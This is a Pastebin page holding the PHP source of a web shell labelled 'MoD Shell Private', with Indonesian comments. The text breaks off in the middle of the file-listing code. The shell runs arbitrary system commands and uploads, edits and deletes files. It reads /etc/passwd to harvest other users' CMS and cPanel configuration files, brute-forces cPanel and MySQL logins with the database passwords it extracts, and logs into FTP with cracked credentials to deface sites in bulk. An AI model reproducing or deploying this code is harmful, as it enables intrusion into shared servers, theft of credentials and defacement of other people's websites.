Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <html>
- <head>
- <title>Master Of Deception</title>
- <meta name='author' content='Master Of Deception'>
- <meta charset="UTF-8">
- <style type="text/css">
- .main {
- margin : -287px 0px 0px -490px;
- border : White solid 1px;
- BORDER-COLOR: #00FF00;
- }
- #pie {
- position: absolute;
- bottom: 0;
- }
- body,a:link {
- background-color: #000000;
- color:#00FF00;
- Courier New;
- cursor:crosshair;
- font-size: small;
- }
- input,table.outset,table.bord,table,textarea,select,fieldset,td,tr {
- font: normal 10px Verdana, Arial, Helvetica,
- sans-serif;
- background-color:black;color:#00FF00;
- border: solid 1px #00FF00;
- border-color:#00FF00
- }
- a:link,a:visited,a:active {
- color: #00FF00;
- font: normal 10px Verdana, Arial, Helvetica,
- sans-serif;
- text-decoration: none;
- }
- </style>
- </head>
- <table><center>
- <th>MoD Shell Private<br>Fist Edition </th>
- <?php
- ###############################################################################
- // Master Of Decaption
- // Shell Ini Bersifat Private
- // Jangan Sembarang Copas
- // Code By Master Of Deception
- ###############################################################################
- function w($dir,$perm) {
- if(!is_writable($dir)) {
- return "<font color=red>".$perm."</font>";
- } else {
- return "<font color=lime>".$perm."</font>";
- }
- }
- function r($dir,$perm) {
- if(!is_readable($dir)) {
- return "<font color=red>".$perm."</font>";
- } else {
- return "<font color=lime>".$perm."</font>";
- }
- }
- function exe($cmd) {
- if(function_exists('system')) {
- @ob_start();
- @system($cmd);
- $buff = @ob_get_contents();
- @ob_end_clean();
- return $buff;
- } elseif(function_exists('exec')) {
- @exec($cmd,$results);
- $buff = "";
- foreach($results as $result) {
- $buff .= $result;
- } return $buff;
- } elseif(function_exists('passthru')) {
- @ob_start();
- @passthru($cmd);
- $buff = @ob_get_contents();
- @ob_end_clean();
- return $buff;
- } elseif(function_exists('shell_exec')) {
- $buff = @shell_exec($cmd);
- return $buff;
- }
- }
- function perms($file){
- $perms = fileperms($file);
- if (($perms & 0xC000) == 0xC000) {
- // Socket
- $info = 's';
- } elseif (($perms & 0xA000) == 0xA000) {
- // Symbolic Link
- $info = 'l';
- } elseif (($perms & 0x8000) == 0x8000) {
- // Regular
- $info = '-';
- } elseif (($perms & 0x6000) == 0x6000) {
- // Block special
- $info = 'b';
- } elseif (($perms & 0x4000) == 0x4000) {
- // Directory
- $info = 'd';
- } elseif (($perms & 0x2000) == 0x2000) {
- // Character special
- $info = 'c';
- } elseif (($perms & 0x1000) == 0x1000) {
- // FIFO pipe
- $info = 'p';
- } else {
- // Unknown
- $info = 'u';
- }
- // Owner
- $info .= (($perms & 0x0100) ? 'r' : '-');
- $info .= (($perms & 0x0080) ? 'w' : '-');
- $info .= (($perms & 0x0040) ?
- (($perms & 0x0800) ? 's' : 'x' ) :
- (($perms & 0x0800) ? 'S' : '-'));
- // Group
- $info .= (($perms & 0x0020) ? 'r' : '-');
- $info .= (($perms & 0x0010) ? 'w' : '-');
- $info .= (($perms & 0x0008) ?
- (($perms & 0x0400) ? 's' : 'x' ) :
- (($perms & 0x0400) ? 'S' : '-'));
- // World
- $info .= (($perms & 0x0004) ? 'r' : '-');
- $info .= (($perms & 0x0002) ? 'w' : '-');
- $info .= (($perms & 0x0001) ?
- (($perms & 0x0200) ? 't' : 'x' ) :
- (($perms & 0x0200) ? 'T' : '-'));
- return $info;
- }
- function hdd($s) {
- if($s >= 1073741824)
- return sprintf('%1.2f',$s / 1073741824 ).' GB';
- elseif($s >= 1048576)
- return sprintf('%1.2f',$s / 1048576 ) .' MB';
- elseif($s >= 1024)
- return sprintf('%1.2f',$s / 1024 ) .' KB';
- else
- return $s .' B';
- }
- function ambilKata($param, $kata1, $kata2){
- if(strpos($param, $kata1) === FALSE) return FALSE;
- if(strpos($param, $kata2) === FALSE) return FALSE;
- $start = strpos($param, $kata1) + strlen($kata1);
- $end = strpos($param, $kata2, $start);
- $return = substr($param, $start, $end - $start);
- return $return;
- }
- if(get_magic_quotes_gpc()) {
- function idx_ss($array) {
- return is_array($array) ? array_map('idx_ss', $array) : stripslashes($array);
- }
- $_POST = idx_ss($_POST);
- }
- error_reporting(0);
- @ini_set('error_log',NULL);
- @ini_set('log_errors',0);
- @ini_set('max_execution_time',0);
- @set_time_limit(0);
- @set_magic_quotes_runtime(0);
- if(isset($_GET['dir'])) {
- $dir = $_GET['dir'];
- chdir($dir);
- } else {
- $dir = getcwd();
- }
- $dir = str_replace("\\","/",$dir);
- $scdir = explode("/", $dir);
- $freespace = hdd(disk_free_space("/"));
- $total = hdd(disk_total_space("/"));
- $used = $total - $freespace;
- $sm = (@ini_get(strtolower("safe_mode")) == 'on') ? "<font color=red>ON</font>" : "<font color=lime>OFF</font>";
- $ds = @ini_get("disable_functions");
- $mysql = (function_exists('mysql_connect')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
- $curl = (function_exists('curl_version')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
- $wget = (exe('wget --help')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
- $perl = (exe('perl --help')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
- $python = (exe('python --help')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
- $show_ds = (!empty($ds)) ? "<font color=red>$ds</font>" : "<font color=lime>NONE</font>";
- if(!function_exists('posix_getegid')) {
- $user = @get_current_user();
- $uid = @getmyuid();
- $gid = @getmygid();
- $group = "?";
- } else {
- $uid = @posix_getpwuid(posix_geteuid());
- $gid = @posix_getgrgid(posix_getegid());
- $user = $uid['name'];
- $uid = $uid['uid'];
- $group = $gid['name'];
- $gid = $gid['gid'];
- }
- echo "<td>System: <font color=lime>".php_uname()."</font><br>";
- echo "User: <font color=lime>".$user."</font> (".$uid.") Group: <font color=lime>".$group."</font> (".$gid.")<br>";
- echo "Server IP: <font color=lime>".gethostbyname($_SERVER['HTTP_HOST'])."</font> | Your IP: <font color=lime>".$_SERVER['REMOTE_ADDR']."</font><br>";
- echo "HDD: <font color=lime>$used</font> / <font color=lime>$total</font> ( Free: <font color=lime>$freespace</font> )<br>";
- echo "MySQL: $mysql | Perl: $perl | Python: $python | WGET: $wget | CURL: $curl <br></td></table><br>";
- echo "Current DIR: ";
- foreach($scdir as $c_dir => $cdir) {
- echo "<a href='?dir=";
- for($i = 0; $i <= $c_dir; $i++) {
- echo $scdir[$i];
- if($i != $c_dir) {
- echo "/";
- }
- }
- echo "'>$cdir</a>/";
- }
- echo " [ ".w($dir, perms($dir))." ]";
- echo "<hr>";
- echo "<center>";
- echo "<table>";
- echo "<table>";
- echo "<td>{{ <a href='?'>Home</a>}}</td>";
- echo "<td>{{ <a href='?dir=$dir&do=upload'>Upload</a>}}</td>";
- echo "<td>{{ <a href='?dir=$dir&do=config'>Config</a>}}</td>";
- echo "<td>{{ <a href='?dir=$dir&do=jumping'>Jumping</a>}}</td>";
- echo "<td>{{ <a href='?dir=$dir&do=cpanel'>CPanel Crack</a>}}</td>";
- echo "<td>{{ <a href='?dir=$dir&do=fake_root'>Fake Root</a>}}</td>";
- echo "<td>{{ <a href='?dir=$dir&do=cpftp_auto'>CPanel/FTP Auto Deface</a>}}</td>";
- echo "</table>";
- echo "</center>";
- echo "<hr>";
- if($_GET['do'] == 'upload') {
- echo "<center>";
- if($_POST['upload']) {
- if($_POST['tipe_upload'] == 'biasa') {
- if(@copy($_FILES['ix_file']['tmp_name'], "$dir/".$_FILES['ix_file']['name']."")) {
- $act = "<font color=lime>Uploaded!</font> at <i><b>$dir/".$_FILES['ix_file']['name']."</b></i>";
- } else {
- $act = "<font color=red>failed to upload file</font>";
- }
- } else {
- $root = $_SERVER['DOCUMENT_ROOT']."/".$_FILES['ix_file']['name'];
- $web = $_SERVER['HTTP_HOST']."/".$_FILES['ix_file']['name'];
- if(is_writable($_SERVER['DOCUMENT_ROOT'])) {
- if(@copy($_FILES['ix_file']['tmp_name'], $root)) {
- $act = "<font color=lime>Uploaded!</font> at <i><b>$root -> </b></i><a href='http://$web' target='_blank'>$web</a>";
- } else {
- $act = "<font color=red>failed to upload file</font>";
- }
- } else {
- $act = "<font color=red>failed to upload file</font>";
- }
- }
- }
- echo "Upload File:
- <form method='post' enctype='multipart/form-data'>
- <input type='radio' name='tipe_upload' value='biasa' checked>Biasa [ ".w($dir,"Writeable")." ]
- <input type='radio' name='tipe_upload' value='home_root'>home_root [ ".w($_SERVER['DOCUMENT_ROOT'],"Writeable")." ]<br>
- <input type='file' name='ix_file'>
- <input type='submit' value='upload' name='upload'>
- </form>";
- echo $act;
- echo "</center>";
- } elseif($_GET['do'] == 'config') {
- $etc = fopen("/etc/passwd", "r") or die("<pre><font color=red>Can't read /etc/passwd</font></pre>");
- $idx = mkdir("idx_config", 0777);
- $isi_htc = "Options all\nRequire None\nSatisfy Any";
- $htc = fopen("idx_config/.htaccess","w");
- fwrite($htc, $isi_htc);
- while($passwd = fgets($etc)) {
- if($passwd == "" || !$etc) {
- echo "<font color=red>Can't read /etc/passwd</font>";
- } else {
- preg_match_all('/(.*?):x:/', $passwd, $user_config);
- foreach($user_config[1] as $user_idx) {
- $user_config_dir = "/home/$user_idx/public_html/";
- if(is_readable($user_config_dir)) {
- $grab_config = array(
- "/home/$user_idx/.my.cnf" => "cpanel",
- "/home/$user_idx/.accesshash" => "WHM-accesshash",
- "/home/$user_idx/public_html/vdo_config.php" => "Voodoo",
- "/home/$user_idx/public_html/bw-configs/config.ini" => "BosWeb",
- "/home/$user_idx/public_html/config/koneksi.php" => "Lokomedia",
- "/home/$user_idx/public_html/lokomedia/config/koneksi.php" => "Lokomedia",
- "/home/$user_idx/public_html/clientarea/configuration.php" => "WHMCS",
- "/home/$user_idx/public_html/whm/configuration.php" => "WHMCS",
- "/home/$user_idx/public_html/whmcs/configuration.php" => "WHMCS",
- "/home/$user_idx/public_html/forum/config.php" => "phpBB",
- "/home/$user_idx/public_html/sites/default/settings.php" => "Drupal",
- "/home/$user_idx/public_html/config/settings.inc.php" => "PrestaShop",
- "/home/$user_idx/public_html/app/etc/local.xml" => "Magento",
- "/home/$user_idx/public_html/joomla/configuration.php" => "Joomla",
- "/home/$user_idx/public_html/configuration.php" => "Joomla",
- "/home/$user_idx/public_html/wp/wp-config.php" => "WordPress",
- "/home/$user_idx/public_html/wordpress/wp-config.php" => "WordPress",
- "/home/$user_idx/public_html/wp-config.php" => "WordPress",
- "/home/$user_idx/public_html/admin/config.php" => "OpenCart",
- "/home/$user_idx/public_html/slconfig.php" => "Sitelok",
- "/home/$user_idx/public_html/application/config/database.php" => "Ellislab");
- foreach($grab_config as $config => $nama_config) {
- $ambil_config = file_get_contents($config);
- if($ambil_config == '') {
- } else {
- $file_config = fopen("idx_config/$user_idx-$nama_config.txt","w");
- fputs($file_config,$ambil_config);
- }
- }
- }
- }
- }
- }
- echo "<center><a href='?dir=$dir/idx_config'><font color=lime>Done</font></a></center>";
- } elseif($_GET['do'] == 'jumping') {
- $i = 0;
- echo "<pre><div class='margin: 5px auto;'>";
- $etc = fopen("/etc/passwd", "r") or die("<font color=red>Can't read /etc/passwd</font>");
- while($passwd = fgets($etc)) {
- if($passwd == '' || !$etc) {
- echo "<font color=red>Can't read /etc/passwd</font>";
- } else {
- preg_match_all('/(.*?):x:/', $passwd, $user_jumping);
- foreach($user_jumping[1] as $user_idx_jump) {
- $user_jumping_dir = "/home/$user_idx_jump/public_html";
- if(is_readable($user_jumping_dir)) {
- $i++;
- $jrw = "[<font color=lime>R</font>] <a href='?dir=$user_jumping_dir'><font color=gold>$user_jumping_dir</font></a>";
- if(is_writable($user_jumping_dir)) {
- $jrw = "[<font color=lime>RW</font>] <a href='?dir=$user_jumping_dir'><font color=gold>$user_jumping_dir</font></a>";
- }
- echo $jrw;
- if(function_exists('posix_getpwuid')) {
- $domain_jump = file_get_contents("/etc/named.conf");
- if($domain_jump == '') {
- echo " => ( <font color=red>gabisa ambil nama domain nya</font> )<br>";
- } else {
- preg_match_all("#/var/named/(.*?).db#", $domain_jump, $domains_jump);
- foreach($domains_jump[1] as $dj) {
- $user_jumping_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
- $user_jumping_url = $user_jumping_url['name'];
- if($user_jumping_url == $user_idx_jump) {
- echo " => ( <u>$dj</u> )<br>";
- break;
- }
- }
- }
- } else {
- echo "<br>";
- }
- }
- }
- }
- }
- if($i == 0) {
- } else {
- echo "<br>Total ada ".$i." Kamar di ".gethostbyname($_SERVER['HTTP_HOST'])."";
- }
- echo "</div></pre>";
- } elseif($_GET['do'] == 'cpanel') {
- if($_POST['crack']) {
- $usercp = explode("\r\n", $_POST['user_cp']);
- $passcp = explode("\r\n", $_POST['pass_cp']);
- $i = 0;
- foreach($usercp as $ucp) {
- foreach($passcp as $pcp) {
- if(@mysql_connect('localhost', $ucp, $pcp)) {
- if($_SESSION[$ucp] && $_SESSION[$pcp]) {
- } else {
- $_SESSION[$ucp] = "1";
- $_SESSION[$pcp] = "1";
- if($ucp == '' || $pcp == '') {
- } else {
- $i++;
- if(function_exists('posix_getpwuid')) {
- $domain_cp = file_get_contents("/etc/named.conf");
- if($domain_cp == '') {
- $dom = "<font color=red>gabisa ambil nama domain nya</font>";
- } else {
- preg_match_all("#/var/named/(.*?).db#", $domain_cp, $domains_cp);
- foreach($domains_cp[1] as $dj) {
- $user_cp_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
- $user_cp_url = $user_cp_url['name'];
- if($user_cp_url == $ucp) {
- $dom = "<a href='http://$dj/' target='_blank'><font color=lime>$dj</font></a>";
- break;
- }
- }
- }
- } else {
- $dom = "<font color=red>function is Disable by system</font>";
- }
- echo "username (<font color=lime>$ucp</font>) password (<font color=lime>$pcp</font>) domain ($dom)<br>";
- }
- }
- }
- }
- }
- if($i == 0) {
- } else {
- echo "<br>sukses nyolong ".$i." Cpanel by <font color=lime>Master Of Deception.</font>";
- }
- } else {
- echo "<center>
- <form method='post'>
- USER: <br>
- <textarea style='width: 450px; height: 150px;' name='user_cp'>";
- $_usercp = fopen("/etc/passwd","r");
- while($getu = fgets($_usercp)) {
- if($getu == '' || !$_usercp) {
- echo "<font color=red>Can't read /etc/passwd</font>";
- } else {
- preg_match_all("/(.*?):x:/", $getu, $u);
- foreach($u[1] as $user_cp) {
- if(is_dir("/home/$user_cp/public_html")) {
- echo "$user_cp\n";
- }
- }
- }
- }
- echo "</textarea><br>
- PASS: <br>
- <textarea style='width: 450px; height: 200px;' name='pass_cp'>";
- function cp_pass($dir) {
- $pass = "";
- $dira = scandir($dir);
- foreach($dira as $dirb) {
- if(!is_file("$dir/$dirb")) continue;
- $ambil = file_get_contents("$dir/$dirb");
- if(preg_match("/WordPress/", $ambil)) {
- $pass .= ambilkata($ambil,"DB_PASSWORD', '","'")."\n";
- } elseif(preg_match("/JConfig|joomla/", $ambil)) {
- $pass .= ambilkata($ambil,"password = '","'")."\n";
- } elseif(preg_match("/Magento|Mage_Core/", $ambil)) {
- $pass .= ambilkata($ambil,"<password><![CDATA[","]]></password>")."\n";
- } elseif(preg_match("/panggil fungsi validasi xss dan injection/", $ambil)) {
- $pass .= ambilkata($ambil,'password = "','"')."\n";
- } elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/", $ambil)) {
- $pass .= ambilkata($ambil,"'DB_PASSWORD', '","'")."\n";
- } elseif(preg_match("/client/", $ambil)) {
- preg_match("/password=(.*)/", $ambil, $pass1);
- if(preg_match('/"/', $pass1[1])) {
- $pass1[1] = str_replace('"', "", $pass1[1]);
- $pass .= $pass1[1]."\n";
- }
- } elseif(preg_match("/cc_encryption_hash/", $ambil)) {
- $pass .= ambilkata($ambil,"db_password = '","'")."\n";
- }
- }
- echo $pass;
- }
- $cp_pass = cp_pass($dir);
- echo $cp_pass;
- echo "</textarea><br>
- <input type='submit' name='crack' style='width: 450px;' value='Crack'>
- </form>
- <span>NB: CPanel Crack ini sudah auto get password ( pake db password ) maka akan work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br></center>";
- }
- } elseif($_GET['do'] == 'fake_root') {
- ob_start();
- function reverse($url) {
- $ch = curl_init("http://domains.yougetsignal.com/domains.php");
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 );
- curl_setopt($ch, CURLOPT_POSTFIELDS, "remoteAddress=$url&ket=");
- curl_setopt($ch, CURLOPT_HEADER, 0);
- curl_setopt($ch, CURLOPT_POST, 1);
- $resp = curl_exec($ch);
- $resp = str_replace("[","", str_replace("]","", str_replace("\"\"","", str_replace(", ,",",", str_replace("{","", str_replace("{","", str_replace("}","", str_replace(", ",",", str_replace(", ",",", str_replace("'","", str_replace("'","", str_replace(":",",", str_replace('"','', $resp ) ) ) ) ) ) ) ) ) ))));
- $array = explode(",,", $resp);
- unset($array[0]);
- foreach($array as $lnk) {
- $lnk = "http://$lnk";
- $lnk = str_replace(",", "", $lnk);
- echo $lnk."\n";
- ob_flush();
- flush();
- }
- curl_close($ch);
- }
- function cek($url) {
- $ch = curl_init($url);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 );
- curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
- $resp = curl_exec($ch);
- return $resp;
- }
- $cwd = getcwd();
- $ambil_user = explode("/", $cwd);
- $user = $ambil_user[2];
- if($_POST['reverse']) {
- $site = explode("\r\n", $_POST['url']);
- $file = $_POST['file'];
- foreach($site as $url) {
- $cek = cek("$url/~$user/$file");
- if(preg_match("/hacked/i", $cek)) {
- echo "URL: <a href='$url/~$user/$file' target='_blank'>$url/~$user/$file</a> -> <font color=lime>Fake Root!</font><br>";
- }
- }
- } else {
- echo "<center><form method='post'>
- Filename: <br><input type='text' name='file' value='deface.html' size='50' height='10'><br>
- User: <br><input type='text' value='$user' size='50' height='10' readonly><br>
- Domain: <br>
- <textarea style='width: 450px; height: 250px;' name='url'>";
- reverse($_SERVER['HTTP_HOST']);
- echo "</textarea><br>
- <input type='submit' name='reverse' value='Scan Fake Root!' style='width: 450px;'>
- </form><br>
- NB: Sebelum gunain Tools ini , upload dulu file deface kalian di dir /home/user/ dan /home/user/public_html.</center>";
- }
- } elseif($_GET['do'] == 'cpftp_auto') {
- if($_POST['crack']) {
- $usercp = explode("\r\n", $_POST['user_cp']);
- $passcp = explode("\r\n", $_POST['pass_cp']);
- $i = 0;
- foreach($usercp as $ucp) {
- foreach($passcp as $pcp) {
- if(@mysql_connect('localhost', $ucp, $pcp)) {
- if($_SESSION[$ucp] && $_SESSION[$pcp]) {
- } else {
- $_SESSION[$ucp] = "1";
- $_SESSION[$pcp] = "1";
- if($ucp == '' || $pcp == '') {
- //
- } else {
- echo "[+] username (<font color=lime>$ucp</font>) password (<font color=lime>$pcp</font>)<br>";
- $ftp_conn = ftp_connect(gethostbyname($_SERVER['HTTP_HOST']));
- $ftp_login = ftp_login($ftp_conn, $ucp, $pcp);
- if((!$ftp_login) || (!$ftp_conn)) {
- echo "[+] <font color=red>Login Gagal</font><br><br>";
- } else {
- echo "[+] <font color=lime>Login Sukses</font><br>";
- $fi = htmlspecialchars($_POST['file_deface']);
- $deface = ftp_put($ftp_conn, "public_html/$fi", $_POST['deface'], FTP_BINARY);
- if($deface) {
- $i++;
- echo "[+] <font color=lime>Deface Sukses</font><br>";
- if(function_exists('posix_getpwuid')) {
- $domain_cp = file_get_contents("/etc/named.conf");
- if($domain_cp == '') {
- echo "[+] <font color=red>gabisa ambil nama domain nya</font><br><br>";
- } else {
- preg_match_all("#/var/named/(.*?).db#", $domain_cp, $domains_cp);
- foreach($domains_cp[1] as $dj) {
- $user_cp_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
- $user_cp_url = $user_cp_url['name'];
- if($user_cp_url == $ucp) {
- echo "[+] <a href='http://$dj/$fi' target='_blank'>http://$dj/$fi</a><br><br>";
- break;
- }
- }
- }
- } else {
- echo "[+] <font color=red>gabisa ambil nama domain nya</font><br><br>";
- }
- } else {
- echo "[-] <font color=red>Deface Gagal</font><br><br>";
- }
- }
- //echo "username (<font color=lime>$ucp</font>) password (<font color=lime>$pcp</font>)<br>";
- }
- }
- }
- }
- }
- if($i == 0) {
- } else {
- echo "<br>sukses deface ".$i." Cpanel by <font color=lime>Master Of Deception.</font>";
- }
- } else {
- echo "<center>
- <form method='post'>
- Filename: <br>
- <input type='text' name='file_deface' placeholder='index.php' value='index.php' style='width: 450px;'><br>
- Deface Page: <br>
- <input type='text' name='deface' placeholder='http://www.web-yang-udah-di-deface.com/filemu.php' style='width: 450px;'><br>
- USER: <br>
- <textarea style='width: 450px; height: 150px;' name='user_cp'>";
- $_usercp = fopen("/etc/passwd","r");
- while($getu = fgets($_usercp)) {
- if($getu == '' || !$_usercp) {
- echo "<font color=red>Can't read /etc/passwd</font>";
- } else {
- preg_match_all("/(.*?):x:/", $getu, $u);
- foreach($u[1] as $user_cp) {
- if(is_dir("/home/$user_cp/public_html")) {
- echo "$user_cp\n";
- }
- }
- }
- }
- echo "</textarea><br>
- PASS: <br>
- <textarea style='width: 450px; height: 200px;' name='pass_cp'>";
- function cp_pass($dir) {
- $pass = "";
- $dira = scandir($dir);
- foreach($dira as $dirb) {
- if(!is_file("$dir/$dirb")) continue;
- $ambil = file_get_contents("$dir/$dirb");
- if(preg_match("/WordPress/", $ambil)) {
- $pass .= ambilkata($ambil,"DB_PASSWORD', '","'")."\n";
- } elseif(preg_match("/JConfig|joomla/", $ambil)) {
- $pass .= ambilkata($ambil,"password = '","'")."\n";
- } elseif(preg_match("/Magento|Mage_Core/", $ambil)) {
- $pass .= ambilkata($ambil,"<password><![CDATA[","]]></password>")."\n";
- } elseif(preg_match("/panggil fungsi validasi xss dan injection/", $ambil)) {
- $pass .= ambilkata($ambil,'password = "','"')."\n";
- } elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/", $ambil)) {
- $pass .= ambilkata($ambil,"'DB_PASSWORD', '","'")."\n";
- } elseif(preg_match("/client/", $ambil)) {
- preg_match("/password=(.*)/", $ambil, $pass1);
- if(preg_match('/"/', $pass1[1])) {
- $pass1[1] = str_replace('"', "", $pass1[1]);
- $pass .= $pass1[1]."\n";
- }
- } elseif(preg_match("/cc_encryption_hash/", $ambil)) {
- $pass .= ambilkata($ambil,"db_password = '","'")."\n";
- }
- }
- echo $pass;
- }
- $cp_pass = cp_pass($dir);
- echo $cp_pass;
- echo "</textarea><br>
- <input type='submit' name='crack' style='width: 450px;' value='Hajar'>
- </form>
- <span>NB: CPanel Crack ini sudah auto get password ( pake db password ) maka akan work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br></center>";
- }
- } elseif($_GET['act'] == 'newfile') {
- if($_POST['new_save_file']) {
- $newfile = htmlspecialchars($_POST['newfile']);
- $fopen = fopen($newfile, "a+");
- if($fopen) {
- $act = "<script>window.location='?act=edit&dir=".$dir."&file=".$_POST['newfile']."';</script>";
- } else {
- $act = "<font color=red>permission denied</font>";
- }
- }
- echo $act;
- echo "<form method='post'>
- Filename: <input type='text' name='newfile' value='$dir/newfile.php' style='width: 450px;' height='10'>
- <input type='submit' name='new_save_file' value='Submit'>
- </form>";
- } elseif($_GET['act'] == 'newfolder') {
- if($_POST['new_save_folder']) {
- $new_folder = $dir.'/'.htmlspecialchars($_POST['newfolder']);
- if(!mkdir($new_folder)) {
- $act = "<font color=red>permission denied</font>";
- } else {
- $act = "<script>window.location='?dir=".$dir."';</script>";
- }
- }
- echo $act;
- echo "<form method='post'>
- Folder Name: <input type='text' name='newfolder' style='width: 450px;' height='10'>
- <input type='submit' name='new_save_folder' value='Submit'>
- </form>";
- } elseif($_GET['act'] == 'rename_dir') {
- if($_POST['dir_rename']) {
- $dir_rename = rename($dir, "".dirname($dir)."/".htmlspecialchars($_POST['fol_rename'])."");
- if($dir_rename) {
- $act = "<script>window.location='?dir=".dirname($dir)."';</script>";
- } else {
- $act = "<font color=red>permission denied</font>";
- }
- echo "".$act."<br>";
- }
- echo "<form method='post'>
- <input type='text' value='".basename($dir)."' name='fol_rename' style='width: 450px;' height='10'>
- <input type='submit' name='dir_rename' value='rename'>
- </form>";
- } elseif($_GET['act'] == 'delete_dir') {
- $delete_dir = rmdir($dir);
- if($delete_dir) {
- $act = "<script>window.location='?dir=".dirname($dir)."';</script>";
- } else {
- $act = "<font color=red>could not remove ".basename($dir)."</font>";
- }
- echo $act;
- } elseif($_GET['act'] == 'view') {
- echo "Filename: <font color=lime>".basename($_GET['file'])."</font> [ <a href='?act=view&dir=$dir&file=".$_GET['file']."'><b>view</b></a> ] [ <a href='?act=edit&dir=$dir&file=".$_GET['file']."'>edit</a> ] [ <a href='?act=rename&dir=$dir&file=".$_GET['file']."'>rename</a> ] [ <a href='?act=download&dir=$dir&file=".$_GET['file']."'>download</a> ] [ <a href='?act=delete&dir=$dir&file=".$_GET['file']."'>delete</a> ]<br>";
- echo "<textarea readonly>".htmlspecialchars(@file_get_contents($_GET['file']))."</textarea>";
- } elseif($_GET['act'] == 'edit') {
- if($_POST['save']) {
- $save = file_put_contents($_GET['file'], $_POST['src']);
- if($save) {
- $act = "<font color=lime>Saved!</font>";
- } else {
- $act = "<font color=red>permission denied</font>";
- }
- echo "".$act."<br>";
- }
- echo "Filename: <font color=lime>".basename($_GET['file'])."</font> [ <a href='?act=view&dir=$dir&file=".$_GET['file']."'>view</a> ] [ <a href='?act=edit&dir=$dir&file=".$_GET['file']."'><b>edit</b></a> ] [ <a href='?act=rename&dir=$dir&file=".$_GET['file']."'>rename</a> ] [ <a href='?act=download&dir=$dir&file=".$_GET['file']."'>download</a> ] [ <a href='?act=delete&dir=$dir&file=".$_GET['file']."'>delete</a> ]<br>";
- echo "<form method='post'>
- <textarea name='src'>".htmlspecialchars(@file_get_contents($_GET['file']))."</textarea><br>
- <input type='submit' value='Save' name='save' style='width: 500px;'>
- </form>";
- } elseif($_GET['act'] == 'rename') {
- if($_POST['do_rename']) {
- $rename = rename($_GET['file'], "$dir/".htmlspecialchars($_POST['rename'])."");
- if($rename) {
- $act = "<script>window.location='?dir=".$dir."';</script>";
- } else {
- $act = "<font color=red>permission denied</font>";
- }
- echo "".$act."<br>";
- }
- echo "Filename: <font color=lime>".basename($_GET['file'])."</font> [ <a href='?act=view&dir=$dir&file=".$_GET['file']."'>view</a> ] [ <a href='?act=edit&dir=$dir&file=".$_GET['file']."'>edit</a> ] [ <a href='?act=rename&dir=$dir&file=".$_GET['file']."'><b>rename</b></a> ] [ <a href='?act=download&dir=$dir&file=".$_GET['file']."'>download</a> ] [ <a href='?act=delete&dir=$dir&file=".$_GET['file']."'>delete</a> ]<br>";
- echo "<form method='post'>
- <input type='text' value='".basename($_GET['file'])."' name='rename' style='width: 450px;' height='10'>
- <input type='submit' name='do_rename' value='rename'>
- </form>";
- } elseif($_GET['act'] == 'delete') {
- $delete = unlink($_GET['file']);
- if($delete) {
- $act = "<script>window.location='?dir=".$dir."';</script>";
- } else {
- $act = "<font color=red>permission denied</font>";
- }
- echo $act;
- } elseif(isset($_GET['file']) && ($_GET['file'] != '') && ($_GET['act'] == 'download')) {
- @ob_clean();
- $file = $_GET['file'];
- @header('Content-Description: File Transfer');
- @header('Content-Type: application/octet-stream');
- @header('Content-Disposition: attachment; filename="'.basename($file).'"');
- @header('Expires: 0');
- @header('Cache-Control: must-revalidate');
- @header('Pragma: public');
- @header('Content-Length: ' . filesize($file));
- readfile($file);
- exit;
- } else {
- if(is_dir($dir) === true) {
- if(!is_readable($dir)) {
- echo "<font color=red>can't open directory. ( not readable )</font>";
- } else {
- echo '<table width="100%" class="table_home" border="0" cellpadding="3" cellspacing="1" align="center">
- <tr>
- <th class="th_home"><center>Name</center></th>
- <th class="th_home"><center>Type</center></th>
- <th class="th_home"><center>Size</center></th>
- <th class="th_home"><center>Last Modified</center></th>
- <th class="th_home"><center>Owner/Group</center></th>
- <th class="th_home"><center>Permission</center></th>
- <th class="th_home"><center>Action</center></th>
- </tr>';
- $scandir = scandir($dir);
- foreach($scandir as $dirx) {
- $dtype = filetype("$dir/$dirx");
- $dtime = date("F d Y g:i:s", filemtime("$dir/$dirx"));
- if(function_exists('posix_getpwuid')) {
- $downer = @posix_getpwuid(fileowner("$dir/$dirx"));
- $downer = $downer['name'];
- } else {
- //$downer = $uid;
- $downer = fileowner("$dir/$dirx");
- }
- if(function_exists('posix_getgrgid')) {
- $dgrp = @posix_getgrgid(filegroup("$dir/$dirx"));
- $dgrp = $dgrp['name'];
- } else {
- $dgrp = filegroup("$dir/$dirx");
- }
- if(!is_dir("$dir/$dirx")) continue;
- if($dirx === '..') {
- $href = "<a href='?dir=".dirname($dir)."'>$dirx</a>";
- } elseif($dirx === '.') {
- $href = "<a href='?dir=$dir'>$dirx</a>";
- } else {
- $href = "<a href='?dir=$dir/$dirx'>$dirx</a>";
- }
- if($dirx === '.' || $dirx === '..') {
- $act_dir = "<a href='?act=newfile&dir=$dir'>newfile</a> | <a href='?act=newfolder&dir=$dir'>newfolder</a>";
- } else {
- $act_dir = "<a href='?act=rename_dir&dir=$dir/$dirx'>rename</a> | <a href='?act=delete_dir&dir=$dir/$dirx'>delete</a>";
- }
- echo "<tr>";
- echo "<td class='td_home'><img src='data:image/png;base64,R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA"."AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp"."/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs='>$href</td>";
